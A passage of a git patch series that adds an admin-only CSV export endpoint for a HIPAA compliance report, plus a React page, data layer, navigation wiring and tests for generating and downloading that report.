5/8] feat: GET /compliance/hipaa-report/csv endpoint Step 6 of the Basic HIPAA Compliance Report (Studio v0.8.0). compliance/csv_export.py::render_report_csv -- one CSV, all four sections in sequence separated by a "## Section N: ..." marker row (no existing precedent for a multi-section CSV export in this codebase to mirror; analytics/router.py's own /analytics/export is single-table- per-request). csv.writer + io.StringIO is the same mechanism that existing export already uses, not a new convention. GET /compliance/hipaa-report/csv wired the same way as the PDF endpoint (Step 5): reuses _build_cached_report (same cache key -- verified a CSV request after a JSON request for the same org/range doesn't recompute), platform_admin-only RBAC. No run_in_executor needed here (plain string formatting, not WeasyPrint's layout engine). 11 new tests (csv_export module + router RBAC/validation/cache-reuse). Full backend suite: 1212 passed, 99.68% coverage (98% gate). --- .../control_center/compliance/csv_export.py | 53 ++++++++++++++++ .../src/control_center/compliance/router.py | 27 ++++++++- backend/tests/test_compliance_csv_export.py | 60 +++++++++++++++++++ backend/tests/test_compliance_router.py | 34 +++++++++++ 4 files changed, 173 insertions(+), 1 deletion(-) create mode 100644 backend/src/control_center/compliance/csv_export.py create mode 100644 backend/tests/test_compliance_csv_export.py diff --git a/backend/src/control_center/compliance/csv_export.py b/backend/src/control_center/compliance/csv_export.py new file mode 100644 index 00000000..db60cb6b --- /dev/null +++ b/backend/src/control_center/compliance/csv_export.py @@ -0,0 +1,53 @@ +"""HIPAA Basic Compliance Report v0.8.0: renders the same report context +pdf.py consumes into a single CSV -- one section per block, separated by +a blank row and a "## Section Name" marker row, the same shape a reader +opening this in a spreadsheet app or a plain text editor can both follow +without a header line lying about how many columns the rest of the file +has (Section 1 is a 2-column metric/value table; Sections 2-4 are wider). +No new csv-writing convention invented -- csv.writer + io.StringIO is the +exact mechanism analytics/router.py's own /analytics/export already uses. +""" +from __future__ import annotations + +import csv +import io +from typing import Any + + +def render_report_csv(context: dict[str, Any]) -> str: + buffer = io.StringIO() + writer = csv.writer(buffer) + + writer.writerow(["HIPAA Basic Compliance Report"]) + writer.writerow(["Organization", f"{context['organization_name']} (org #{context['organization_id']})"]) + writer.writerow(["Period", f"{context['from_date']} to {context['to_date']}"]) + writer.writerow(["Generated", f"{context['generated_at']} by {context['generated_by']}"]) + writer.writerow([]) + + writer.writerow(["## Section 1: Executive Summary"]) + writer.writerow(["Metric", "Value"]) + summary = context["summary"] + writer.writerow(["Total Users", summary["total_users"]]) + writer.writerow(["Active Users In Period", summary["active_users"]]) + writer.writerow(["RAG Queries", summary["total_rag_queries"]]) + writer.writerow(["Security Incidents", summary["security_incidents"]]) + writer.writerow([]) + + writer.writerow(["## Section 2: User Access Log"]) + writer.writerow(["User", "Login Count", "Last Login", "Failed Attempts"]) + for row in context["user_access"]: + writer.writerow([row["user_label"], row["login_count"], row["last_login"], row["failed_attempts"]]) + writer.writerow([]) + + writer.writerow(["## Section 3: RAG Query Log"]) + writer.writerow(["Timestamp", "User", "Trace ID"]) + for row in context["rag_queries"]: + writer.writerow([row["timestamp"], row["user_label"], row["trace_id"] or ""]) + writer.writerow([]) + + writer.writerow(["## Section 4: Security Events"]) + writer.writerow(["Timestamp", "Event", "Actor", "Outcome"]) + for row in context["security_events"]: + writer.writerow([row["timestamp"], row["label"], row["actor_label"], row["outcome"]]) + + return buffer.getvalue() diff --git a/backend/src/control_center/compliance/router.py b/backend/src/control_center/compliance/router.py index 71119f10..06e7193c 100644 --- a/backend/src/control_center/compliance/router.py +++ b/backend/src/control_center/compliance/router.py @@ -24,7 +24,7 @@ from fastapi.responses import Response from control_center.analytics import cache -from control_center.compliance import pdf, service +from control_center.compliance import csv_export, pdf, service from control_center.core.auth import require_permission router = APIRouter(prefix="/compliance", tags=["compliance"]) @@ -114,3 +114,28 @@ async def hipaa_report_pdf( media_type="application/pdf", headers={"Content-Disposition": f'attachment; filename="{filename}"'}, ) + + +@router.get("/hipaa-report/csv") +async def hipaa_report_csv( + from_date: date = Query(...), + to_date: date = Query(...), + org_id: int = Query(...), + authorization: Optional[str] = Header(default=None), + admin: dict = Depends(_require_platform_admin), +) -> Response: + _validate_range(from_date, to_date) + context = await _build_cached_report( + org_id=org_id, from_date=from_date, to_date=to_date, + generated_by=_generated_by(admin), authorization=authorization, + ) + # Cheap (plain string formatting, no layout engine) unlike the PDF + # route above -- no run_in_executor needed here. + csv_text = csv_export.render_report_csv(context) + + filename = f"{_filename_stem(org_id, from_date, to_date)}.csv" + return Response( + content=csv_text, + media_type="text/csv", + headers={"Content-Disposition": f'attachment; filename="{filename}"'}, + ) diff --git a/backend/tests/test_compliance_csv_export.py b/backend/tests/test_compliance_csv_export.py new file mode 100644 index 00000000..dbe91b3c --- /dev/null +++ b/backend/tests/test_compliance_csv_export.py @@ -0,0 +1,60 @@ +"""Unit tests for control_center.compliance.csv_export.""" +import csv +import io + +from control_center.compliance.csv_export import render_report_csv + +_CONTEXT = { + "organization_name": "KUMC Research", + "organization_id": 1, + "from_date": "2026-08-01", + "to_date": "2026-08-31", + "generated_at": "2026-08-11T12:00:00Z", + "generated_by": "admin@omnibioai.org", + "summary": {"total_users": 2, "active_users": 1, "total_rag_queries": 1, "security_incidents": 1}, + "user_access": [ + {"user_label": "alice@kumc.edu", "login_count": 5, "last_login": "2026-08-20T10:00:00", "failed_attempts": 0}, + ], + "rag_queries": [ + {"timestamp": "2026-08-10T09:00:00", "user_label": "alice@kumc.edu", "trace_id": "trace-1"}, + ], + "security_events": [ + {"timestamp": "2026-08-13T10:00:00", "label": "Role Assignment Denied", "actor_label": "bob@kumc.edu", "outcome": "deny"}, + ], +} + + +def test_includes_org_and_period_header(): + text = render_report_csv(_CONTEXT) + assert "KUMC Research" in text + assert "2026-08-01" in text + assert "2026-08-31" in text + + +def test_includes_all_four_section_markers(): + text = render_report_csv(_CONTEXT) + assert "## Section 1: Executive Summary" in text + assert "## Section 2: User Access Log" in text + assert "## Section 3: RAG Query Log" in text + assert "## Section 4: Security Events" in text + + +def test_is_parseable_as_csv(): + text = render_report_csv(_CONTEXT) + rows = list(csv.reader(io.StringIO(text))) + assert any(row == ["alice@kumc.edu", "5", "2026-08-20T10:00:00", "0"] for row in rows) + assert any(row == ["2026-08-10T09:00:00", "alice@kumc.edu", "trace-1"] for row in rows) + assert any(row == ["2026-08-13T10:00:00", "Role Assignment Denied", "bob@kumc.edu", "deny"] for row in rows) + + +def test_handles_empty_sections(): + context = {**_CONTEXT, "user_access": [], "rag_queries": [], "security_events": []} + text = render_report_csv(context) + assert "## Section 4: Security Events" in text # doesn't blow up on empty lists + + +def test_missing_trace_id_renders_as_empty_string(): + context = {**_CONTEXT, "rag_queries": [{"timestamp": "2026-08-10T09:00:00", "user_label": "alice@kumc.edu", "trace_id": None}]} + text = render_report_csv(context) + rows = list(csv.reader(io.StringIO(text))) + assert any(row == ["2026-08-10T09:00:00", "alice@kumc.edu", ""] for row in rows) diff --git a/backend/tests/test_compliance_router.py b/backend/tests/test_compliance_router.py index 1dce3f71..8e5e577c 100644 --- a/backend/tests/test_compliance_router.py +++ b/backend/tests/test_compliance_router.py @@ -178,5 +178,39 @@ def test_pdf_and_json_share_the_same_cache_entry(self) -> None: self.assertEqual(self.build_report_mock.await_count, 1) +class HipaaReportCsvEndpointTestCase(ComplianceRouterTestCase): + def test_platform_admin_gets_csv(self) -> None: + r = client.get("/compliance/hipaa-report/csv", params=self._params(), headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertEqual(r.status_code, 200) + self.assertEqual(r.headers["content-type"], "text/csv; charset=utf-8") + self.assertIn("KUMC Research", r.text) + self.assertIn("## Section 1: Executive Summary", r.text) + + def test_content_disposition_filename(self) -> None: + r = client.get("/compliance/hipaa-report/csv", params=self._params(), headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertIn('filename="hipaa-report-org1-2026-08-01-to-2026-08-31.csv"', r.headers["content-disposition"]) + + def test_org_admin_without_manage_all_orgs_denied(self) -> None: + headers = _auth(sub="1", permissions=[], org_id=1, org_role=["org_admin"]) + r = client.get("/compliance/hipaa-report/csv", params=self._params(), headers=headers) + self.assertEqual(r.status_code, 403) + + def test_missing_token_returns_401(self) -> None: + r = client.get("/compliance/hipaa-report/csv", params=self._params()) + self.assertEqual(r.status_code, 401) + + def test_from_date_after_to_date_returns_400(self) -> None: + params = self._params(from_date="2026-08-31", to_date="2026-08-01") + r = client.get("/compliance/hipaa-report/csv", params=params, headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertEqual(r.status_code, 400) + + def test_csv_reuses_json_cache_entry(self) -> None: + headers = _auth(sub="1", permissions=[MANAGE_ALL_ORGS]) + client.get("/compliance/hipaa-report", params=self._params(), headers=headers) + r = client.get("/compliance/hipaa-report/csv", params=self._params(), headers=headers) + self.assertEqual(r.status_code, 200) + self.assertEqual(self.build_report_mock.await_count, 1) + + if __name__ == "__main__": unittest.main() From 489b51bf861f3d8d598a1e8c97386c25e8b2777d Mon Sep 17 00:00:00 2001 From: Manish Kumar Date: Wed, 12 Aug 2026 01:04:54 -0500 Subject: [PATCH 6/8] feat: ComplianceReport.tsx frontend for HIPAA compliance report Step 7 of the Basic HIPAA Compliance Report (Studio v0.8.0). compliance.ts data layer (mirrors analytics.ts's shape exactly) + pages/ComplianceReport.tsx: date range inputs, required organization picker (fetchPlatformOrgs), Generate Report button, in-browser preview (summary stat tiles + User Access Log / RAG Query Log / Security Events tables via the shared DataTable component), Download PDF / Download CSV buttons. Deliberately NOT auto-loaded on mount like AnalyticsDashboard.tsx -- generating this report is a real fan-out across two other services, so it only runs on an explicit click. Download buttons stay disabled until a report has been generated for the current org/range. Visible to platform_admin only (auth.ts::canSeeComplianceReport, a narrower gate than canSeeAnalytics -- no org_admin/team_admin branch, matching the backend's v0.8.0 scope decision). Wired into navigation.ts/AdminApp.tsx the same way audit-logs/interactions are: Security section, flat platform-wide page, no org-picker-then-detail flow (the org picker lives inside the page itself, since org_id is a required report parameter here rather than an optional filter). 37 new tests (compliance.ts data layer, ComplianceReport.tsx behavior, navigation.ts placement). tsc -b clean. Full frontend suite: 492 passed (40 files). --- frontend/cc-ui/src/apps/AdminApp.tsx | 18 +- frontend/cc-ui/src/auth.ts | 12 + frontend/cc-ui/src/compliance.test.ts | 91 +++++++ frontend/cc-ui/src/compliance.ts | 111 ++++++++ frontend/cc-ui/src/navigation.test.ts | 36 +++ frontend/cc-ui/src/navigation.ts | 12 +- .../cc-ui/src/pages/ComplianceReport.test.tsx | 159 +++++++++++ frontend/cc-ui/src/pages/ComplianceReport.tsx | 253 ++++++++++++++++++ 8 files changed, 690 insertions(+), 2 deletions(-) create mode 100644 frontend/cc-ui/src/compliance.test.ts create mode 100644 frontend/cc-ui/src/compliance.ts create mode 100644 frontend/cc-ui/src/pages/ComplianceReport.test.tsx create mode 100644 frontend/cc-ui/src/pages/ComplianceReport.tsx diff --git a/frontend/cc-ui/src/apps/AdminApp.tsx b/frontend/cc-ui/src/apps/AdminApp.tsx index 6c62522e..9bb53128 100644 --- a/frontend/cc-ui/src/apps/AdminApp.tsx +++ b/frontend/cc-ui/src/apps/AdminApp.tsx @@ -34,6 +34,7 @@ import AuditLogsPage from '../pages/audit/AuditLogsPage' import SessionsPage from '../pages/security/SessionsPage' import InteractionsPage from '../pages/InteractionsPage' import AnalyticsDashboard from '../pages/AnalyticsDashboard' +import ComplianceReport from '../pages/ComplianceReport' import SecurityDashboardPage from '../pages/security/SecurityDashboardPage' import OrganizationMFAPolicyPage from '../pages/security/OrganizationMFAPolicyPage' import AuthGate from './AuthGate' @@ -139,6 +140,10 @@ function AdminDashboard() { // GET /platform/orgs, GET /platform/audit-events (everything the // Security Dashboard reads) are all manage_all_orgs-gated. const canSeeSecurityOverview = hasPlatformAdminAccess() + // HIPAA Basic Compliance Report v0.8.0: same reasoning as + // canSeeAuditLogs -- GET /compliance/hipaa-report is manage_all_orgs- + // gated, not org-scoped (org_admin access deferred to v0.9.0). + const canSeeComplianceReport = hasPlatformAdminAccess() const [active, setActive] = useState(() => { if (window.location.pathname.startsWith('/organizations')) return 'organizations' @@ -332,7 +337,8 @@ function AdminDashboard() { ) : undefined} > {renderPage(active, { - canSeeOps, canSeeOrganizations, canSeeUsers, canSeeAuditLogs, canSeeInteractions, canSeeAnalytics, canSeeSecurityOverview, refreshKey, + canSeeOps, canSeeOrganizations, canSeeUsers, canSeeAuditLogs, canSeeInteractions, canSeeAnalytics, canSeeSecurityOverview, + canSeeComplianceReport, refreshKey, selectedOrgId, setSelectedOrgId, selectedUserId, setSelectedUserId, teamsOrgHint, rolesOrgHint, onViewTeams: handleViewTeams, onViewRoles: handleViewRoles, selectedSsoOrgId, setSelectedSsoOrgId, navigateToSsoSettings, @@ -353,6 +359,7 @@ interface RenderCtx { canSeeInteractions: boolean canSeeAnalytics: boolean canSeeSecurityOverview: boolean + canSeeComplianceReport: boolean refreshKey: number selectedOrgId: number | null setSelectedOrgId: (id: number | null) => void @@ -446,6 +453,15 @@ function renderPage(active: PageKey, ctx: RenderCtx) { if (!ctx.canSeeAuditLogs) return null return + // HIPAA Basic Compliance Report v0.8.0: flat platform-wide page, no + // org-picker/deep-link -- same shape as 'audit-logs' immediately + // above (the page itself offers an in-page organization select, + // since org_id is a required report parameter, not an optional + // filter the way 'analytics' below treats it). + case 'compliance-report': + if (!ctx.canSeeComplianceReport) return null + return + // PR-C: self-service, flat, no org-picker/deep-link and no gate -- // same shape as 'overview' above (no `ctx.canSeeX` check either). // omnibioai-auth's GET /sessions already scopes every response to diff --git a/frontend/cc-ui/src/auth.ts b/frontend/cc-ui/src/auth.ts index d1e29ef0..a32fa097 100644 --- a/frontend/cc-ui/src/auth.ts +++ b/frontend/cc-ui/src/auth.ts @@ -249,6 +249,18 @@ export function canSeeAnalytics(): boolean { ) } +// HIPAA Basic Compliance Report v0.8.0. UX-only mirror of the backend's +// own compliance/router.py::_require_platform_admin -- platform_admin +// (manage_all_orgs) only. Unlike canSeeAnalytics above, deliberately no +// org_admin/team_admin branch: v0.8.0 scoped this report to +// platform_admin only (no org-scoped read path exists yet for two of the +// report's four sections -- see compliance/service.py's own module +// docstring), org_admin access is deferred to v0.9.0. The backend +// dependency re-checks this independently on every request regardless. +export function canSeeComplianceReport(): boolean { + return hasPlatformAdminAccess() +} + // Fired whenever a gated request comes back 401 (missing/expired/invalid // token) so App.tsx can drop back to the login screen without every // call site needing to know about auth. diff --git a/frontend/cc-ui/src/compliance.test.ts b/frontend/cc-ui/src/compliance.test.ts new file mode 100644 index 00000000..c4db2aa7 --- /dev/null +++ b/frontend/cc-ui/src/compliance.test.ts @@ -0,0 +1,91 @@ +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' +import { downloadHipaaReportCsv, downloadHipaaReportPdf, fetchHipaaReport, type HipaaReport } from './compliance' +import * as auth from './auth' + +vi.mock('./auth', async () => { + const actual = await vi.importActual('./auth') + return { ...actual, authHeaders: vi.fn(() => ({})), reportUnauthorized: vi.fn() } +}) + +const REPORT: HipaaReport = { + organization_id: 1, + organization_name: 'KUMC Research', + from_date: '2026-08-01', + to_date: '2026-08-31', + generated_at: '2026-08-11T12:00:00Z', + generated_by: 'admin@omnibioai.org', + summary: { total_users: 2, active_users: 1, total_rag_queries: 3, security_incidents: 0 }, + user_access: [], + rag_queries: [], + security_events: [], + truncated: false, +} + +describe('fetchHipaaReport', () => { + beforeEach(() => { + vi.stubGlobal('fetch', vi.fn()) + }) + afterEach(() => { + vi.unstubAllGlobals() + }) + + it('requests the expected query params', async () => { + vi.mocked(fetch).mockResolvedValue(new Response(JSON.stringify(REPORT), { status: 200 })) + const report = await fetchHipaaReport({ fromDate: '2026-08-01', toDate: '2026-08-31', orgId: 1 }) + expect(report.organization_name).toBe('KUMC Research') + const calledUrl = vi.mocked(fetch).mock.calls[0][0] as string + expect(calledUrl).toContain('/compliance/hipaa-report?') + expect(calledUrl).toContain('from_date=2026-08-01') + expect(calledUrl).toContain('to_date=2026-08-31') + expect(calledUrl).toContain('org_id=1') + }) + + it('throws on a non-ok response', async () => { + vi.mocked(fetch).mockResolvedValue(new Response(null, { status: 403 })) + await expect(fetchHipaaReport({ fromDate: '2026-08-01', toDate: '2026-08-31', orgId: 1 })).rejects.toThrow('403') + }) + + it('reports unauthorized on 401', async () => { + vi.mocked(fetch).mockResolvedValue(new Response(null, { status: 401 })) + await expect(fetchHipaaReport({ fromDate: '2026-08-01', toDate: '2026-08-31', orgId: 1 })).rejects.toThrow('401') + expect(auth.reportUnauthorized).toHaveBeenCalled() + }) +}) + +describe('downloadHipaaReportPdf / downloadHipaaReportCsv', () => { + // The blob/anchor-click download mechanism itself has no existing unit + // test anywhere in this codebase (exportAnalyticsCsv's identical + // mechanism is only ever exercised indirectly, through + // AnalyticsDashboard.test.tsx mocking the whole function out) -- + // jsdom's URL.createObjectURL isn't implemented by default, so it's + // stubbed here; a real anchor's .click() is safe in jsdom (no + // navigation happens for a blob: URL). + beforeEach(() => { + vi.stubGlobal('fetch', vi.fn()) + vi.stubGlobal('URL', { ...URL, createObjectURL: vi.fn(() => 'blob:mock'), revokeObjectURL: vi.fn() }) + }) + afterEach(() => { + vi.unstubAllGlobals() + }) + + it('downloads the PDF hitting the pdf endpoint', async () => { + vi.mocked(fetch).mockResolvedValue(new Response(new Blob(['%PDF-1.7']), { status: 200 })) + await downloadHipaaReportPdf({ fromDate: '2026-08-01', toDate: '2026-08-31', orgId: 1 }) + const calledUrl = vi.mocked(fetch).mock.calls[0][0] as string + expect(calledUrl).toContain('/compliance/hipaa-report/pdf?') + expect(URL.createObjectURL).toHaveBeenCalled() + }) + + it('downloads the CSV hitting the csv endpoint', async () => { + vi.mocked(fetch).mockResolvedValue(new Response(new Blob(['col1,col2']), { status: 200 })) + await downloadHipaaReportCsv({ fromDate: '2026-08-01', toDate: '2026-08-31', orgId: 1 }) + const calledUrl = vi.mocked(fetch).mock.calls[0][0] as string + expect(calledUrl).toContain('/compliance/hipaa-report/csv?') + expect(URL.createObjectURL).toHaveBeenCalled() + }) + + it('throws on a non-ok download response', async () => { + vi.mocked(fetch).mockResolvedValue(new Response(null, { status: 500 })) + await expect(downloadHipaaReportPdf({ fromDate: '2026-08-01', toDate: '2026-08-31', orgId: 1 })).rejects.toThrow('500') + }) +}) diff --git a/frontend/cc-ui/src/compliance.ts b/frontend/cc-ui/src/compliance.ts new file mode 100644 index 00000000..4c8beefc --- /dev/null +++ b/frontend/cc-ui/src/compliance.ts @@ -0,0 +1,111 @@ +// HIPAA Basic Compliance Report v0.8.0. Data layer, mirroring analytics.ts's +// own shape exactly -- every call hits this service's own backend at a +// relative path (control_center.compliance.router, mounted at /compliance +// in main.py); no function here makes an authorization decision, that's +// entirely require_permission(manage_all_orgs)'s job server-side +// (401/403 re-checked on every single call below). +import { authHeaders, reportUnauthorized } from './auth' + +async function apiFetch(path: string, init: RequestInit = {}): Promise { + const r = await fetch(path, { + ...init, + headers: { ...authHeaders(), ...(init.headers ?? {}) }, + }) + if (r.status === 401) { + reportUnauthorized() + } + return r +} + +export interface HipaaReportFilters { + fromDate: string + toDate: string + orgId: number +} + +function buildQuery(filters: HipaaReportFilters): URLSearchParams { + const qs = new URLSearchParams() + qs.set('from_date', filters.fromDate) + qs.set('to_date', filters.toDate) + qs.set('org_id', String(filters.orgId)) + return qs +} + +// Mirrors control_center.compliance.service.build_report's response +// exactly (backend/src/control_center/compliance/service.py). +export interface HipaaReportSummary { + total_users: number + active_users: number + total_rag_queries: number + security_incidents: number +} + +export interface HipaaReportUserAccessRow { + user_label: string + login_count: number + last_login: string | null + failed_attempts: number +} + +export interface HipaaReportRagQueryRow { + timestamp: string | null + user_label: string + trace_id: string | null +} + +export interface HipaaReportSecurityEventRow { + timestamp: string | null + label: string + actor_label: string + outcome: string + event_type: string +} + +export interface HipaaReport { + organization_id: number + organization_name: string + from_date: string + to_date: string + generated_at: string + generated_by: string + summary: HipaaReportSummary + user_access: HipaaReportUserAccessRow[] + rag_queries: HipaaReportRagQueryRow[] + security_events: HipaaReportSecurityEventRow[] + truncated: boolean +} + +export async function fetchHipaaReport(filters: HipaaReportFilters): Promise { + const qs = buildQuery(filters) + const r = await apiFetch(`/compliance/hipaa-report?${qs.toString()}`) + if (!r.ok) throw new Error(`/compliance/hipaa-report ${r.status}`) + return r.json() +} + +async function downloadFile(path: string, filename: string): Promise { + const r = await apiFetch(path) + if (!r.ok) throw new Error(`${path} ${r.status}`) + const blob = await r.blob() + const url = URL.createObjectURL(blob) + const a = document.createElement('a') + a.href = url + a.download = filename + document.body.appendChild(a) + a.click() + a.remove() + URL.revokeObjectURL(url) +} + +function filenameStem(filters: HipaaReportFilters): string { + return `hipaa-report-org${filters.orgId}-${filters.fromDate}-to-${filters.toDate}` +} + +export async function downloadHipaaReportPdf(filters: HipaaReportFilters): Promise { + const qs = buildQuery(filters) + await downloadFile(`/compliance/hipaa-report/pdf?${qs.toString()}`, `${filenameStem(filters)}.pdf`) +} + +export async function downloadHipaaReportCsv(filters: HipaaReportFilters): Promise { + const qs = buildQuery(filters) + await downloadFile(`/compliance/hipaa-report/csv?${qs.toString()}`, `${filenameStem(filters)}.csv`) +} diff --git a/frontend/cc-ui/src/navigation.test.ts b/frontend/cc-ui/src/navigation.test.ts index 250772a6..09dc5f88 100644 --- a/frontend/cc-ui/src/navigation.test.ts +++ b/frontend/cc-ui/src/navigation.test.ts @@ -79,6 +79,42 @@ describe('navigation: Interactions placement', () => { }) }) +// HIPAA Basic Compliance Report v0.8.0. Same reasoning as the +// Sessions/Interactions blocks above. + +describe('navigation: Compliance Report placement', () => { + it('has exactly one "compliance-report" entry across the entire tree', () => { + const found: { sectionKey: string; parentKey?: string }[] = [] + for (const section of NAVIGATION) { + for (const item of section.items) { + if (item.key === 'compliance-report') found.push({ sectionKey: section.key }) + for (const child of item.children ?? []) { + if (child.key === 'compliance-report') found.push({ sectionKey: section.key, parentKey: item.key }) + } + } + } + expect(found).toHaveLength(1) + }) + + it('places "compliance-report" under the Security section, functional and gated', () => { + const securitySection = NAVIGATION.find(s => s.key === 'security') + expect(securitySection).toBeDefined() + + const complianceItem = securitySection!.items.find(i => i.key === 'compliance-report') + expect(complianceItem).toBeDefined() + expect(complianceItem!.functional).toBe(true) + // Same gate audit-logs uses -- GET /compliance/hipaa-report is + // manage_all_orgs-gated, not org-scoped. + expect(complianceItem!.visible).toBeDefined() + }) + + it('is a top-level Security item alongside Audit Logs, not nested under it', () => { + const securitySection = NAVIGATION.find(s => s.key === 'security')! + const complianceItem = securitySection.items.find(i => i.key === 'compliance-report')! + expect(complianceItem.children).toBeUndefined() + }) +}) + // PR-B6. Same reasoning as the Sessions/Interactions blocks above. describe('navigation: Integrations placement', () => { diff --git a/frontend/cc-ui/src/navigation.ts b/frontend/cc-ui/src/navigation.ts index dd8f65dc..a6996121 100644 --- a/frontend/cc-ui/src/navigation.ts +++ b/frontend/cc-ui/src/navigation.ts @@ -25,7 +25,7 @@ export type PageKey = | 'health' | 'docker' | 'ecosystem' | 'config' | 'llms' | 'cloud' | 'organizations' | 'users' | 'teams' | 'roles' | 'infrastructure' | 'workflows' | 'tool-execution' | 'ai-models' - | 'security-overview' | 'mfa-policy' | 'iam' | 'audit-logs' | 'sessions' | 'interactions' | 'api-keys' + | 'security-overview' | 'mfa-policy' | 'iam' | 'audit-logs' | 'sessions' | 'interactions' | 'api-keys' | 'compliance-report' | 'analytics' | 'billing' | 'rag' | 'pubmed' @@ -188,6 +188,16 @@ export const NAVIGATION: NavSection[] = [ // only thing that matters for security; this only decides // whether the nav entry renders. { key: 'audit-logs', label: 'Audit Logs', functional: true, visible: hasPlatformAdminAccess }, + // HIPAA Basic Compliance Report v0.8.0. Same hasPlatformAdminAccess + // gate 'audit-logs' immediately above uses, for the identical + // reason -- GET /compliance/hipaa-report is manage_all_orgs-gated + // (compliance/router.py), not org-scoped; org_admin access is + // deferred to v0.9.0 (see compliance/service.py's own module + // docstring for why no org-scoped read path exists yet for two of + // the report's four sections). Placed next to Audit Logs/ + // Interactions -- its closest technical precedent (platform-admin- + // only, date-ranged, reads the same underlying audit ledger). + { key: 'compliance-report', label: 'Compliance Report', functional: true, visible: hasPlatformAdminAccess }, // PR-C (Control Center Sessions Integration): promoted from Coming // Soon to a real page (SessionsPage). Unlike 'audit-logs' above // (platform-admin-only backend data), this is self-service -- diff --git a/frontend/cc-ui/src/pages/ComplianceReport.test.tsx b/frontend/cc-ui/src/pages/ComplianceReport.test.tsx new file mode 100644 index 00000000..a842c501 --- /dev/null +++ b/frontend/cc-ui/src/pages/ComplianceReport.test.tsx @@ -0,0 +1,159 @@ +import { render, screen, waitFor } from '@testing-library/react' +import userEvent from '@testing-library/user-event' +import { describe, it, expect, vi, beforeEach } from 'vitest' +import ComplianceReport from './ComplianceReport' +import * as compliance from '../compliance' +import type { HipaaReport } from '../compliance' +import * as organizations from '../organizations' +import type { PlatformOrgSummary } from '../organizations' + +vi.mock('../compliance', async () => { + const actual = await vi.importActual('../compliance') + return { + ...actual, + fetchHipaaReport: vi.fn(), + downloadHipaaReportPdf: vi.fn(), + downloadHipaaReportCsv: vi.fn(), + } +}) + +vi.mock('../organizations', async () => { + const actual = await vi.importActual('../organizations') + return { ...actual, fetchPlatformOrgs: vi.fn() } +}) + +const ORG_OPTIONS: PlatformOrgSummary[] = [ + { + id: 1, name: 'KUMC Research', status: 'active', owner_email: null, member_count: 2, team_count: 0, + api_key_count: 0, oauth_client_count: 0, license_count: 0, sso_enabled: false, + mfa_policy_required: false, mfa_policy_configured: false, created_at: '2026-07-01T00:00:00', + }, +] + +const REPORT: HipaaReport = { + organization_id: 1, + organization_name: 'KUMC Research', + from_date: '2026-08-01', + to_date: '2026-08-31', + generated_at: '2026-08-11T12:00:00Z', + generated_by: 'admin@omnibioai.org', + summary: { total_users: 2, active_users: 1, total_rag_queries: 1, security_incidents: 1 }, + user_access: [ + { user_label: 'alice@kumc.edu', login_count: 5, last_login: '2026-08-20T10:00:00', failed_attempts: 0 }, + ], + rag_queries: [ + { timestamp: '2026-08-10T09:00:00', user_label: 'alice@kumc.edu', trace_id: 'trace-1' }, + ], + security_events: [ + { timestamp: '2026-08-13T10:00:00', label: 'Role Assignment Denied', actor_label: 'bob@kumc.edu', outcome: 'deny', event_type: 'role_assignment_denied' }, + ], + truncated: false, +} + +async function selectOrgAndGenerate(user: ReturnType) { + await user.selectOptions(screen.getByLabelText('Organization'), '1') + await user.click(screen.getByRole('button', { name: /Generate Report/ })) +} + +describe('ComplianceReport', () => { + beforeEach(() => { + vi.mocked(compliance.fetchHipaaReport).mockReset() + vi.mocked(compliance.downloadHipaaReportPdf).mockReset() + vi.mocked(compliance.downloadHipaaReportCsv).mockReset() + vi.mocked(organizations.fetchPlatformOrgs).mockResolvedValue({ items: ORG_OPTIONS, total: 1, page: 1, page_size: 100, total_pages: 1 }) + }) + + it('loads org options and disables Generate until one is picked', async () => { + render() + await waitFor(() => expect(screen.getByRole('option', { name: 'KUMC Research' })).toBeInTheDocument()) + expect(screen.getByRole('button', { name: /Generate Report/ })).toBeDisabled() + }) + + it('generates and renders the report preview', async () => { + vi.mocked(compliance.fetchHipaaReport).mockResolvedValue(REPORT) + const user = userEvent.setup() + render() + await waitFor(() => expect(screen.getByRole('option', { name: 'KUMC Research' })).toBeInTheDocument()) + + await selectOrgAndGenerate(user) + + await waitFor(() => expect(screen.getByText(/KUMC Research \(org #1\)/)).toBeInTheDocument()) + // alice@kumc.edu legitimately appears in both the User Access Log and + // RAG Query Log tables -- same user, two different sections. + expect(screen.getAllByText('alice@kumc.edu').length).toBeGreaterThanOrEqual(2) + expect(screen.getByText('Role Assignment Denied')).toBeInTheDocument() + }) + + it('shows empty-state notes when a section has no rows', async () => { + vi.mocked(compliance.fetchHipaaReport).mockResolvedValue({ + ...REPORT, user_access: [], rag_queries: [], security_events: [], + }) + const user = userEvent.setup() + render() + await waitFor(() => expect(screen.getByRole('option', { name: 'KUMC Research' })).toBeInTheDocument()) + await selectOrgAndGenerate(user) + await waitFor(() => expect(screen.getByText('No login activity recorded in this period.')).toBeInTheDocument()) + }) + + it('shows a permission-denied state on a 403', async () => { + vi.mocked(compliance.fetchHipaaReport).mockRejectedValue(new Error('/compliance/hipaa-report 403')) + const user = userEvent.setup() + render() + await waitFor(() => expect(screen.getByRole('option', { name: 'KUMC Research' })).toBeInTheDocument()) + await selectOrgAndGenerate(user) + await waitFor(() => expect(screen.getByText('Permission denied')).toBeInTheDocument()) + }) + + it('shows a generic error state on a non-403 failure', async () => { + vi.mocked(compliance.fetchHipaaReport).mockRejectedValue(new Error('network error')) + const user = userEvent.setup() + render() + await waitFor(() => expect(screen.getByRole('option', { name: 'KUMC Research' })).toBeInTheDocument()) + await selectOrgAndGenerate(user) + await waitFor(() => expect(screen.getByText('network error')).toBeInTheDocument()) + }) + + it('warns when the report is truncated', async () => { + vi.mocked(compliance.fetchHipaaReport).mockResolvedValue({ ...REPORT, truncated: true }) + const user = userEvent.setup() + render() + await waitFor(() => expect(screen.getByRole('option', { name: 'KUMC Research' })).toBeInTheDocument()) + await selectOrgAndGenerate(user) + await waitFor(() => expect(screen.getByText('Report may be incomplete')).toBeInTheDocument()) + }) + + it('download buttons are disabled until a report is generated', async () => { + render() + await waitFor(() => expect(screen.getByRole('option', { name: 'KUMC Research' })).toBeInTheDocument()) + expect(screen.getByRole('button', { name: /Download PDF/ })).toBeDisabled() + expect(screen.getByRole('button', { name: /Download CSV/ })).toBeDisabled() + }) + + it('clicking Download PDF calls downloadHipaaReportPdf with the current filters', async () => { + vi.mocked(compliance.fetchHipaaReport).mockResolvedValue(REPORT) + vi.mocked(compliance.downloadHipaaReportPdf).mockResolvedValue(undefined) + const user = userEvent.setup() + render() 